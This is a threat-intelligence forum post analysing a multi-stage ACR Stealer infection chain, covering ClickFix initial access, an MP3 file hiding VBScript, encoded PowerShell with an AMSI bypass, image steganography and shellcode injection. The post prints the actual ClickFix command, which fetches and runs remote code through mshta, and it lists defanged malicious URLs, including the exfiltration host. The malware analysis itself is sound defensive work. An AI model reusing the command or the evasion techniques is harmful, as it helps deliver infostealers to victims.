ACR Stealer: ClickFix, Etherhiding, and Stego, Oh My! - Threat Intel - IFIN

= 40rem)" rel="stylesheet" data-target="discourse-calendar_desktop" /><br>= 40rem)" rel="stylesheet" data-target="discourse-reactions_desktop" /><br>= 40rem)" rel="stylesheet" data-target="poll_desktop" />

= 40rem)" rel="stylesheet" data-target="desktop_theme" data-theme-id="-2" data-theme-name="horizon"/>

ACR Stealer: ClickFix, Etherhiding, and Stego, Oh My!

Threat Intel

clickfix,<br>infostealers,<br>etherhiding,<br>steganography

mttaggart

(Taggart)

July 29, 2026, 9:29pm

Last Updated: 2026-07-29T21:28:50Z

image1440×1080 321 KB

What’s Happening

Earlier this month, Microsoft reported on ACR Stealer , a new campaign leveraging both Steganography and Etherhiding techniques for delivery.

Yesterday, I caught myself a sample. Mine doesn’t have Etherhiding, but the rest makes for a fun exploration anyhow. Let’s dive in.

Recommended Musical Accompaniment<br>“Arc of a Diver,” by Steve Wynnwood.

https://www.youtube.com/watch?v=nqotifaBzrM

Disclaimer: A LLM assisted with deobfuscation/decryption of later stages .

Stage 1: Initial Access via ClickFix

While the infected site remains an open question, we do know the infected system ran the Windows Run dialog with the following command:

"C:\windows\system32\pcalua.exe" -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s^:^/^/fine-work-team[.]com/6272' -Wi Hi"pcalua -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s^:^/^/fine-work-team[.]com/6272' -Wi Hi"pcalua -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s

Right off the bat we have pcalua.exe executable as the proxy for PowerShell. The Program Compatibility Assistant is supposed when Windows detects there’s a compatibility issue with the executable. This will basically never be the case in modern systems. Its execution is highly likely to be an indicator.

The rest is obvious evasion behavior. saps is the more-obscure PowerShell alias for Start-Process, and then of course we have caret interruption with mshta.exe, pulling a .hta file from fine-work-team[.]com/6272. Here’s where things get weird.

Stage 2: Obfuscated Loader

The 6272 file downloaded from fine-work-team[.]com is, at first glance, a real-deal .mp3 file. You can even listen to it! But for a tiny squirk at 1:23, you might not notice anything wrong with it.

Opening the file directly though, you’ll find:

image1150×229 44.4 KB

Ah yeah. That’s VBScript. See, mshta.exe and the browser it pops doesn’t care about extraneous bytes around the HTML, so long as there is valid HTML. And embedded VBScript, naturally.

The VBScript is heavily obfuscated, but ultimately creates a Scheduled Task called serviceyib with a task action of POWerSHEll & (gi C:\W*\S*4\W*\v*\p*ell.exe) -EncodedCommand .

What does the task do? On to Stage 3.

Stage 3: More Encoded PowerShell

This stage collects system information to presumably be sent ater. It also performs an AMSI bypass, which it decodes from a custom RC4 decryption routine. Having bypassed AMSI, it proceeds pull the next stage from hxxps://gpurq.gravityzone[.]army/019f2a71-8c43-7b95-a6d2-3e8471f9c520 and launch it, sending the contents of the download as stdin.

Stage 4: Image Stego

Doesn’t this seem like a little much for an infostealer? Anyway, here the PowerShell from the last stage contains a URL to hxxps://i.ibb.co/Q7yqNJpr/init-block[.]jpg', which just looks like noise.

image388×387 83.2 KB

But the PowerShell does something pretty clever. It takes the 5408x5408-pixel image and chunks it into 8x8 blocks, taking the average grayscale value of each block. The result is a byte array (reversed) that is flipped and XORed with an embedded key, then GZip-decompressed. The results is, yes, more PowerShell.

Stage 5: A Shellcode Loader

This chunk of PS is a straightforward loader/injector that performs reflective process injection of shellcode that itself takes a compressed PE and loads that as the final payload.

Stage 6: The Final Payload

This is, mercifully, a known entity. Of course, the executable never hits the filesystem, but it’s definitely ACR Stealer masquerading as WPA.exe per its .rsrc information.

The amount of anti-analysis in this thing is something else for a stealer. There are no static imports. Instead it walks the PEB and hashes export names. It performs direct syscalls and avoids ntdll and kernel32, evading EDR.

I only did static analysis, but public reports of the same artifact tell us that the eventual exfiltration destination is hxxps://app-api.lensstory[.]cc/.

Final Analysis

This is one of the most elaborate obfuscation regimens I’ve seen for infostealers. But indeed, only the last part of the chain is the infostealer, suggesting that this loading mechanism could be used for other types of payloads as well. We know better than to relegated ClickFix initial access to the realm of simple cybercrime. On the other hand, this could be an indication that AI-assisted development means that complex obfuscation...